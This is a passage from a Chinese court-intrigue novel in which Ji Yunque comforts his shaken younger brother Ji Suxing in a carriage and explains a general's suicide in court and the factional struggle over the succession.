姬昀雀摇了摇头,如实道,“殿内太过混乱,我并未看清。” 姬簌星低下头,轻轻“哦”了一声,没再说话。 紧接着便是两人相顾无言,姬簌星尚未从方才的冲击中回过神,他难以想象一个立过功劳的将军,就这么撞死在大殿之上,他再抬眼去瞧那朱红漆柱,只觉得上面都是浓艳的血。 他闭了闭眼睛。 姬昀雀却误以为他吓到了,又往前靠近了些,“害怕?” 姬簌星缓缓睁开眼睛,他深吸一口气,摇了摇头,声音带着一丝沙哑:“不怕。” 他不是怕,只是觉得心里压着一块石头,沉甸甸的透不过气。。 姬昀雀垂眸,身前的人说是不怕,可面颊苍白,那双琉璃眸子带着茫然,他无意识咬着唇,下唇瓣已被他咬破了皮,红艳艳地沾了血,显然还没回过神来。 姬昀雀很轻地叹了口气,声音放低了些,“我带你回去。” 姬簌星只是无意识地点着脑袋,显然没听清他在说什么。 姬昀雀抬起手,犹豫了一下,最终还是覆在了姬簌星冰凉的手背上,轻轻握了一下,然后松开。 温热的触感转瞬即逝,但足够姬簌星回神,他咬着唇,犹豫道:“殿内……好多事情。” “有人会处理。”姬昀雀的声音平静无波,“此事已经与尚书台无关了。” “哦哦。”姬簌星点了点头,依旧有些心不在焉。 他跟在姬昀雀身边,但姬昀雀总是跟他保持着半步的距离。 两人一路无言,长宫道上的风吹到姬簌星脸上,将他额上发丝向后拂起,他脚步顿住,目光望向东边,但其实宫墙高耸,他什么都瞧不见。 “怎么了?” 姬簌星捏着指尖,“我母妃住在那里。” 姬昀雀敛眸,“要去看看吗?” 姬簌星摇了摇头,“过……过段时间吧。” 母妃不想要见他,或许寻个时机带着姬昀雀一起去,姬昀雀记在母妃名下,母妃或许会想要见他的。 姬簌星垂着脑袋往前走,行至宫门口,云阑站在外面一角,等瞧见两人出来,面上才松了口气。 他快步迎上前,想要询问殿内的情况,可看到姬簌星跟在一旁,又把到了嘴边的话咽了回去。 他面向姬簌星,看殿下这态度是不计较了,他垂下眸子,“殿下请上马车。” 姬簌星捂住嘴巴咳嗽了一声,他踏上车厢,坐在最里面,姬昀雀也并未骑马,跟着他一起上来,帘子放下挡住了外面干冷的风。 但姬簌星总觉得刚刚有人在看他,他挑开一旁的帘子,好像瞧见了绯色的御史官袍,仅仅只是一个背影,姬簌星立马放下了帘子。 那可是凶名在外的御史大人。 姬昀雀不知从哪里取出了一个茶盏,他抬手倒了一杯热茶,轻轻推到姬簌星面前。 “温水。” 茶水清澈,带着氤氲的热气,姬簌星伸手拿起茶杯,指尖触碰到温热的杯壁,只觉得一股暖意,顺着指尖蔓延到身上,他小小地抿了一口,将茶杯捧在手心。 他轻轻唤了一声,“皇兄?” “嗯。” 姬昀雀应完,姬簌星捧着茶杯,却没了下文 姬昀雀抬眸,“你是想问,今日朝堂上杜沧远自尽的事?” 姬簌星抬起头,对上他的目光,张了张嘴,想要反驳,最终只是沉默地点了点头。 姬昀雀端坐在一旁,指尖叩在桌面上,“杜沧远是武将,当年确实立过功,但人都是会变的,当年的杜沧远的确是忠臣,但是他早就站队,他现在忠的是姬鸿宸。” “他站队争储,成败在所难免,赢者生,败者亡,这是天家常态。他既站队,心里自然知道下场,而且他们为了争储,私下里还有别的勾当,比如……” 姬簌星顺着他的话,小心翼翼问道:“比如?” 姬昀雀的声音顿了顿,“比如花楼,比如逼良为娼,再比如钱庄放银致人家破人亡……” 他垂下眸子,“世人追权逐利,那才是吃人的恶鬼。” 他抬眸望着他,“所以你大可不必愧疚,在心里觉得自己害死了他,这一撞,保全了姬鸿宸的性命,也成全了自己的忠名,更将薛家推到了风口浪尖上。” 姬簌星捧着茶杯,指尖微微颤抖,他小声问道:“那……后面指认薛氏是因为我吗?” 姬昀雀愣了一下,随即摇了摇头,语气肯定:“不是。” 姬簌星又问:“那是因为什么?” 姬昀雀垂下眸子,声音低沉了几分:“因为陛下。” 姬簌星似懂非懂地点了点头,觉得自己听懂了一半。 却不想姬昀雀忽地抬眸,视线落到姬簌星的脸上,盯着姬簌星那双琥珀色的眸子,缓缓开口,“那你呢?” 姬簌星没听清,他有些茫然地看着他:“什么?” 姬昀雀眼眸未动,目光沉沉,“那你呢?你今日匆忙赶来殿上是为了什么?”